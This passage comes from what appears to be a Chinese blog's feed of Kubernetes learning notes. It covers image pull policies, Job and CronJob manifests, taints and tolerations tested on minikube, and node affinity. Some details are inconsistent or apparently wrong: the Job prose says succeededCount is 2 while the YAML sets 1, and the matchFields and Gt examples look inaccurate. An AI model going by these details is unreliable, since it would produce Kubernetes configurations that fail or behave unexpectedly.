- `<span class="string">"Always"</span>` means that kubelet always attempts to pull the latest image.</span><br><span class="line">    Container will fail If the pull fails.</span><br><span class="line">     - `<span class="string">"IfNotPresent"</span>` means that kubelet pulls <span class="keyword">if</span> the image isn<span class="string">'t present on</span></span><br><span class="line"><span class="string">    disk. Container will fail if the image isn'</span>t present and the pull fails.</span><br><span class="line">     - `<span class="string">"Never"</span>` means that kubelet never pulls an image, but only uses a <span class="built_in">local</span></span><br><span class="line">    image. Container will fail <span class="keyword">if</span> the image isn<span class="string">'t present</span></span><br><span class="line"><span class="string">    </span></span><br></pre></td></tr></tbody></table></figure><p><code>imagePullPolicy</code>（镜像拉取策略）有三个可选值：</p><table><thead><tr><th align="left">值</th><th align="left">含义</th><th align="left">简单理解</th></tr></thead><tbody><tr><td align="left"><strong>Always</strong></td><td align="left">kubelet 总是尝试拉取最新镜像，拉取失败则容器启动失败</td><td align="left">每次都去仓库拉，不管本地有没有</td></tr><tr><td align="left"><strong>IfNotPresent</strong></td><td align="left">本地磁盘没有该镜像时才拉取，拉取失败则容器失败</td><td align="left">本地有就用本地，没有才去拉</td></tr><tr><td align="left"><strong>Never</strong></td><td align="left">从不拉取，只用本地已有镜像；本地没有则容器失败</td><td align="left">只用本地，绝不联网拉</td></tr></tbody></table><blockquote><p><strong>默认值：如果镜像 tag 是 <code>latest</code>，默认为 <code>Always</code>；否则默认为 <code>IfNotPresent</code>。</strong></p></blockquote><h2 id="Job"><a href="#Job" class="headerlink" title="Job"></a>Job</h2><p>Job 是 Kubernetes 中的一种工作负载资源，用于运行一次性任务。</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">batch/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Job</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">pi</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">completionMode:</span> <span class="string">Indexed</span></span><br><span class="line">  <span class="attr">completions:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">parallelism:</span> <span class="number">3</span>   <span class="comment">#并行度，允许多个pod一起跑</span></span><br><span class="line">  <span class="attr">ttlSecondsAfterFinished:</span> <span class="number">5</span>   <span class="comment">#删除时间，效果为完成5秒后删除</span></span><br><span class="line">  <span class="attr">successPolicy:</span></span><br><span class="line">    <span class="attr">rules:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">succeededCount:</span> <span class="number">1</span></span><br><span class="line">      <span class="attr">succeededIndexes:</span> <span class="string">"0,1"</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">pi</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">perl:5.34.0</span></span><br><span class="line">        <span class="attr">command:</span> [<span class="string">"perl"</span>,  <span class="string">"-Mbignum=bpi"</span>, <span class="string">"-wle"</span>, <span class="string">"print bpi(2000)"</span>]</span><br><span class="line">      <span class="attr">restartPolicy:</span> <span class="string">Never</span> <span class="comment"># 对于 Job，此策略推荐设置为 Never 或 OnFailure</span></span><br><span class="line">  <span class="attr">backoffLimit:</span> <span class="number">4</span> <span class="comment"># 设定失败重试次数</span></span><br></pre></td></tr></tbody></table></figure><p><strong><code>completions: 1</code></strong><br>期望成功完成的 Pod 总数。在 <code>Indexed</code> 模式下，这意味着 Pod 索引只有 <code>0</code>。<strong>这与下方 <code>succeededIndexes: "0,1"</code> 直接矛盾</strong>：索引 <code>1</code> 不存在，该成功策略规则在逻辑上无法被满足。</p><p><strong><code>successPolicy</code></strong><br>定义 Job 的提前成功条件。仅适用于 <code>Indexed</code> 模式的 Job。</p><ul><li><strong><code>rules</code></strong>：成功规则列表，满足任意一条即标记 Job 成功。</li><li><strong><code>succeededCount: 2</code></strong>：要求成功索引的数量至少为 2。</li><li><strong><code>succeededIndexes: "0,1"</code></strong>：将计数范围限定在索引 <code>0</code> 和 <code>1</code> 内。结合 <code>succeededCount: 2</code>，意味着索引 <code>0</code> 和 <code>1</code> <strong>必须同时成功</strong>，Job 才会提前成功。</li></ul><p><strong><code>restartPolicy: Never</code></strong><br>Pod 失败后不重启。这是配合 <code>successPolicy</code> 使用的推荐策略，也是某些 Job 特性的前提条件之一。</p><h2 id="CronJob"><a href="#CronJob" class="headerlink" title="CronJob"></a>CronJob</h2><p>CronJob 是 Kubernetes 中的一种工作负载资源，用于定时执行任务。</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 每分钟执行</span></span><br><span class="line"><span class="string">"*/1 * * * *"</span></span><br><span class="line"><span class="comment"># 每小时执行</span></span><br><span class="line"><span class="string">"0 * * * *"</span> </span><br><span class="line"><span class="comment"># 每天凌晨2点执行</span></span><br><span class="line"><span class="string">"0 2 * * *"</span></span><br><span class="line"><span class="comment"># 每周一上午9点执行</span></span><br><span class="line"><span class="string">"0 9 * * 1"</span></span><br><span class="line"><span class="comment"># 每月1号凌晨3点执行</span></span><br><span class="line"><span class="string">"0 3 1 * *"</span> </span><br><span class="line"><span class="comment"># 工作日每天下午5点执行</span></span><br><span class="line"><span class="string">"0 17 * * 1-5"</span></span><br></pre></td></tr></tbody></table></figure><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">batch/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">CronJob</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">cron-pi</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">schedule:</span> <span class="string">"0 2 * * *"</span>         <span class="comment"># 每天凌晨2点执行</span></span><br><span class="line">  <span class="attr">timeZone:</span> <span class="string">"Asia/Shanghai"</span>       <span class="comment"># 使用上海时区</span></span><br><span class="line">  <span class="attr">concurrencyPolicy:</span> <span class="string">Forbid</span>       <span class="comment"># 禁止并发，确保任务不重叠</span></span><br><span class="line">  <span class="attr">startingDeadlineSeconds:</span> <span class="number">600</span>    <span class="comment"># 10分钟内必须启动，否则跳过</span></span><br><span class="line">  <span class="attr">successfulJobsHistoryLimit:</span> <span class="number">5</span>   <span class="comment"># 保留5个成功备份记录；默认3个</span></span><br><span class="line">  <span class="attr">failedJobsHistoryLimit:</span> <span class="number">3</span>       <span class="comment"># 保留3个失败记录用于排查；默认1个</span></span><br><span class="line">  <span class="attr">jobTemplate:</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">template:</span></span><br><span class="line">        <span class="attr">spec:</span></span><br><span class="line">          <span class="attr">containers:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">pi</span></span><br><span class="line">            <span class="attr">image:</span> <span class="string">perl:5.34.0</span></span><br><span class="line">            <span class="attr">command:</span> [<span class="string">"perl"</span>,  <span class="string">"-Mbignum=bpi"</span>, <span class="string">"-wle"</span>, <span class="string">"print bpi(2000)"</span>]</span><br></pre></td></tr></tbody></table></figure></body></html>]]>
    </content>
    <id>https://blog.btop251.top/Cloud-Security/CloudNative_learn3/</id>
    <link href="https://blog.btop251.top/Cloud-Security/CloudNative_learn3/"/>
    <published>2026-10-16T16:00:00.000Z</published>
    <summary>
      <![CDATA[<html><head></head><body></body></html>]]>
    </summary>
    <title>云原生学习03-工作负载资源</title>
    <updated>2026-10-21T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="云安全" scheme="https://blog.btop251.top/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="云安全" scheme="https://blog.btop251.top/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="污点与容忍度"><a href="#污点与容忍度" class="headerlink" title="污点与容忍度"></a>污点与容忍度</h1><p>在 Kubernetes 中，<strong>污点（Taint）</strong> 和 <strong>容忍度（Toleration）</strong> 是用于控制 Pod 调度的一种机制，它们协同工作，决定 Pod 能否被调度到某个节点上。</p><table><thead><tr><th align="left">概念</th><th align="left">作用对象</th><th align="left">说明</th></tr></thead><tbody><tr><td align="left"><strong>污点（Taint）</strong></td><td align="left">Node</td><td align="left">给节点打上”排斥”标记，阻止不容忍该污点的 Pod 调度上去</td></tr><tr><td align="left"><strong>容忍度（Toleration）</strong></td><td align="left">Pod</td><td align="left">给 Pod 打上”容忍”标记，允许其调度到带有对应污点的节点上</td></tr></tbody></table><h2 id="污点"><a href="#污点" class="headerlink" title="污点"></a>污点</h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl taint nodes &lt;node-name&gt;  key=value:effect</span><br></pre></td></tr></tbody></table></figure><p>eg:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Kubectl taint nodes minikube key=<span class="literal">true</span>:NoSchedule</span><br></pre></td></tr></tbody></table></figure><p>判断是否打上污点</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl describe node &lt;node-name&gt; | grep Taints</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn2/CloudNative_learn2.assets/image-20261015161641181.png" alt="image-20261015161641181" loading="eager" decoding="async"></p><p>先查看节点的labels</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl get node --show-labels</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn2/CloudNative_learn2.assets/image-20261015162756427-1792208351812-10.png" alt="image-20261015162756427" loading="lazy" decoding="async"></p><p>可以看到每一个node的hosename这个labels都是不同的，就拿这个来实践一遍，如下创建一个pod，正常来说会选择minikube这个节点</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">nodeSelector:</span></span><br><span class="line">    <span class="attr">kubernetes.io/hostname:</span> <span class="string">minikube</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">alpine</span></span><br><span class="line">    <span class="attr">command:</span> [<span class="string">"/bin/sh"</span>]</span><br><span class="line">    <span class="attr">stdin:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">tty:</span> <span class="literal">true</span>                       </span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl apply -f pod.yaml</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn2/CloudNative_learn2.assets/image-20261015163006071-1792208381998-12.png" alt="image-20261015163006071" loading="lazy" decoding="async"></p><p>也确实如此</p><p>现在打上NoSchedule污点</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl taint nodes minikube kubernetes.io/hostname=minikube:NoSchedule</span><br></pre></td></tr></tbody></table></figure><p>再检查一下状态</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl get po</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn2/CloudNative_learn2.assets/image-20261015163356646-1792208402342-14.png" alt="image-20261015163356646" loading="lazy" decoding="async"></p><p>还是正常的，但是如果在创建污点之后再创建pod</p><p><img src="/Cloud-Security/CloudNative_learn2/CloudNative_learn2.assets/image-20261015163605772.png" alt="image-20261015163605772" loading="lazy" decoding="async"></p><p>状态就变成Pending了</p><p>详细看看原因</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl describe po btop251</span><br></pre></td></tr></tbody></table></figure><p>在最底下可以看到</p><blockquote><p>Warning  FailedScheduling  2m19s  default-scheduler  0/3 nodes are available: 1 node(s) had untolerated taint(s), 2 node(s) didn’t match Pod’s node affinity/selector. preemption: 0/3 nodes are available: 3 Preemption is not helpful for scheduling.</p></blockquote><p>当前三个节点都不可用，一个有不可容忍的污点，另外两个没有对应的labels</p><p>这是因为污点有三种效果</p><table><thead><tr><th align="left">effect</th><th align="left">含义</th><th align="left">对<strong>新 Pod</strong> 的影响</th><th align="left">对<strong>已运行 Pod</strong> 的影响</th></tr></thead><tbody><tr><td align="left"><strong>NoSchedule</strong></td><td align="left">不调度</td><td align="left">不容忍的 Pod <strong>不会</strong>被调度到该节点</td><td align="left"><strong>不驱逐</strong>，继续运行</td></tr><tr><td align="left"><strong>PreferNoSchedule</strong></td><td align="left">尽量不调度</td><td align="left">尽量<strong>避免</strong>调度，但没地方去时<strong>仍可</strong>调度</td><td align="left"><strong>不驱逐</strong></td></tr><tr><td align="left"><strong>NoExecute</strong></td><td align="left">不执行</td><td align="left">不容忍的 Pod <strong>不会</strong>被调度</td><td align="left"><strong>立即驱逐</strong>已运行的不容忍 Pod</td></tr></tbody></table><h2 id="容忍度"><a href="#容忍度" class="headerlink" title="容忍度"></a>容忍度</h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl explain pod.spec.tolerations</span><br></pre></td></tr></tbody></table></figure><p>容忍度是打在 <strong>Pod</strong> 上的，用来”抵消”节点上的污点。只有 Pod 的容忍度能匹配节点的污点，Pod 才能被调度到该节点上。</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">nodeSelector:</span></span><br><span class="line">    <span class="attr">kubernetes.io/hostname:</span> <span class="string">minikube</span></span><br><span class="line">  <span class="attr">tolerations:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">"kubernetes.io/hostname"</span></span><br><span class="line">    <span class="attr">operator:</span> <span class="string">"Equal"</span></span><br><span class="line">    <span class="attr">value:</span> <span class="string">"minikube"</span></span><br><span class="line">    <span class="attr">effect:</span> <span class="string">"NoSchedule"</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">alpine</span></span><br><span class="line">    <span class="attr">command:</span> [<span class="string">"/bin/sh"</span>]</span><br><span class="line">    <span class="attr">stdin:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">tty:</span> <span class="literal">true</span></span><br></pre></td></tr></tbody></table></figure><table><thead><tr><th align="left">字段</th><th align="left">是否必填</th><th align="left">说明</th></tr></thead><tbody><tr><td align="left"><code>key</code></td><td align="left">否</td><td align="left">要匹配的污点键。为空且 operator 为 Exists 时，匹配所有 key</td></tr><tr><td align="left"><code>operator</code></td><td align="left">否</td><td align="left"><code>Equal</code>（默认:要求 key、value、effect <strong>都相等</strong>才匹配）或 <code>Exists(只要 key 存在)</code></td></tr><tr><td align="left"><code>value</code></td><td align="left">否</td><td align="left">匹配的污点值。operator 为 Exists 时可省略</td></tr><tr><td align="left"><code>effect</code></td><td align="left">否</td><td align="left">匹配的效果。为空表示匹配<strong>所有</strong> effect</td></tr><tr><td align="left"><code>tolerationSeconds</code></td><td align="left">否</td><td align="left">仅用于 <code>NoExecute</code>，容忍多久后被驱逐</td></tr></tbody></table><p>重新apply</p><p><img src="/Cloud-Security/CloudNative_learn2/CloudNative_learn2.assets/image-20261015165417139.png" alt="image-20261015165417139" loading="lazy" decoding="async"></p><p>Running了</p><p>添加一个NoExecute的污点再检查</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl taint nodes minikube kubernetes.io/hostname=minikube:NoExecute</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn2/CloudNative_learn2.assets/image-20261015165629041.png" alt="image-20261015165629041" loading="lazy" decoding="async"></p><p>将容忍度也换了</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">nodeSelector:</span></span><br><span class="line">    <span class="attr">kubernetes.io/hostname:</span> <span class="string">minikube</span></span><br><span class="line">  <span class="attr">tolerations:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">"kubernetes.io/hostname"</span></span><br><span class="line">    <span class="attr">operator:</span> <span class="string">"Equal"</span></span><br><span class="line">    <span class="attr">value:</span> <span class="string">"minikube"</span></span><br><span class="line">    <span class="attr">effect:</span> <span class="string">"NoExecute"</span></span><br><span class="line">    <span class="attr">tolerationSeconds:</span> <span class="number">5</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">alpine</span></span><br><span class="line">    <span class="attr">command:</span> [<span class="string">"/bin/sh"</span>]</span><br><span class="line">    <span class="attr">stdin:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">tty:</span> <span class="literal">true</span></span><br><span class="line"><span class="string">~</span>                      </span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn2/CloudNative_learn2.assets/image-20261015170438878.png" alt="image-20261015170438878" loading="lazy" decoding="async"></p><p>可以看到pod先running了5秒才被驱逐</p><h1 id="节点亲和性"><a href="#节点亲和性" class="headerlink" title="节点亲和性"></a>节点亲和性</h1><table><thead><tr><th align="left">特性</th><th align="left">nodeSelector</th><th align="left">nodeAffinity</th></tr></thead><tbody><tr><td align="left">匹配方式</td><td align="left">精确匹配（等值）</td><td align="left">支持 In、NotIn、Exists、DoesNotExist、Gt、Lt</td></tr><tr><td align="left">逻辑关系</td><td align="left">多个标签之间是 AND</td><td align="left">支持 AND / OR 组合</td></tr><tr><td align="left">软硬策略</td><td align="left">只有硬性要求</td><td align="left">支持硬亲和 + 软亲和</td></tr><tr><td align="left">匹配字段</td><td align="left">仅节点标签</td><td align="left">节点标签 + 节点字段（matchFields）</td></tr><tr><td align="left">表达能力</td><td align="left">弱</td><td align="left">强</td></tr></tbody></table><h2 id="nodeSelector"><a href="#nodeSelector" class="headerlink" title="nodeSelector"></a>nodeSelector</h2><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 只能精确匹配,多个规则之间是and关系</span></span><br><span class="line"><span class="attr">nodeSelector:</span></span><br><span class="line">  <span class="attr">disktype:</span> <span class="string">ssd</span></span><br><span class="line">  <span class="attr">environment:</span> <span class="string">production</span></span><br></pre></td></tr></tbody></table></figure><h2 id="nodeAffinity（节点亲和性）"><a href="#nodeAffinity（节点亲和性）" class="headerlink" title="nodeAffinity（节点亲和性）"></a>nodeAffinity（节点亲和性）</h2><h3 id="requiredDuringSchedulingIgnoredDuringExecution-硬亲和性"><a href="#requiredDuringSchedulingIgnoredDuringExecution-硬亲和性" class="headerlink" title="requiredDuringSchedulingIgnoredDuringExecution(硬亲和性)"></a>requiredDuringSchedulingIgnoredDuringExecution(硬亲和性)</h3><ul><li><strong>同一 <code>matchExpressions</code> 内的多个条件</strong>：AND 关系</li><li><strong>不同 <code>matchExpressions</code>（即不同 nodeSelectorTerms）之间</strong>：OR 关系</li></ul><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 必须满足规则, 不满足则不调度</span></span><br><span class="line"><span class="comment"># 同一matchExpressions中是and关系</span></span><br><span class="line"><span class="comment"># 不同matchExpressions之间是or关系</span></span><br><span class="line"><span class="attr">affinity:</span></span><br><span class="line">  <span class="attr">nodeAffinity:</span></span><br><span class="line">    <span class="attr">requiredDuringSchedulingIgnoredDuringExecution:</span></span><br><span class="line">      <span class="attr">nodeSelectorTerms:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">matchExpressions:</span> </span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">disktype</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">In</span></span><br><span class="line">          <span class="attr">values:</span> </span><br><span class="line">          <span class="bullet">-</span> <span class="string">ssd</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">hdd</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">matchExpressions:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">environment</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">NotIn</span></span><br><span class="line">          <span class="attr">values:</span> [<span class="string">staging</span>, <span class="string">test</span>]</span><br><span class="line">      <span class="bullet">-</span> <span class="attr">matchExpressions:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">environment</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">Exists</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">matchExpressions:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">environment</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">DoesNotExist</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">matchExpressions:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">memory</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">Gt</span> <span class="comment"># 大于, Lt 小于</span></span><br><span class="line">          <span class="attr">values:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">"16"</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">matchFields:</span> <span class="comment"># 节点元数据</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">metadata.name</span>              <span class="comment"># 节点名称</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">In</span></span><br><span class="line">          <span class="attr">values:</span> [<span class="string">node1</span>, <span class="string">node2</span>, <span class="string">node3</span>]</span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">metadata.uid</span>               <span class="comment"># 节点唯一ID</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">In</span></span><br><span class="line">          <span class="attr">values:</span> [<span class="string">"uid-value"</span>]</span><br><span class="line">        <span class="comment"># 节点规格</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">spec.unschedulable</span>        <span class="comment"># 节点是否可调度</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">NotIn</span></span><br><span class="line">          <span class="attr">values:</span> [<span class="string">"true"</span>]</span><br><span class="line">        <span class="comment"># 节点状态</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">status.allocatable.cpu</span>    <span class="comment"># 可分配CPU</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">Gt</span></span><br><span class="line">          <span class="attr">values:</span> [<span class="string">"4"</span>]</span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">status.allocatable.memory</span> <span class="comment"># 可分配内存</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">Gt</span></span><br><span class="line">          <span class="attr">values:</span> [<span class="string">"8Gi"</span>]</span><br></pre></td></tr></tbody></table></figure><table><thead><tr><th align="left">操作符</th><th align="left">含义</th><th align="left">示例</th></tr></thead><tbody><tr><td align="left"><code>In</code></td><td align="left">标签值在给定列表中</td><td align="left"><code>disktype In [ssd, hdd]</code></td></tr><tr><td align="left"><code>NotIn</code></td><td align="left">标签值不在给定列表中</td><td align="left"><code>environment NotIn [staging, test]</code></td></tr><tr><td align="left"><code>Exists</code></td><td align="left">标签键存在</td><td align="left"><code>environment Exists</code></td></tr><tr><td align="left"><code>DoesNotExist</code></td><td align="left">标签键不存在</td><td align="left"><code>environment DoesNotExist</code></td></tr><tr><td align="left"><code>Gt</code></td><td align="left">标签值大于给定值（字符串比较）</td><td align="left"><code>memory Gt "16"</code></td></tr><tr><td align="left"><code>Lt</code></td><td align="left">标签值小于给定值</td><td align="left"><code>memory Lt "16"</code></td></tr></tbody></table><h3 id="preferredDuringSchedulingIgnoredDuringExecution-软亲和性"><a href="#preferredDuringSchedulingIgnoredDuringExecution-软亲和性" class="headerlink" title="preferredDuringSchedulingIgnoredDuringExecution(软亲和性)"></a>preferredDuringSchedulingIgnoredDuringExecution(软亲和性)</h3><p>优先满足规则, 不强制要求</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span 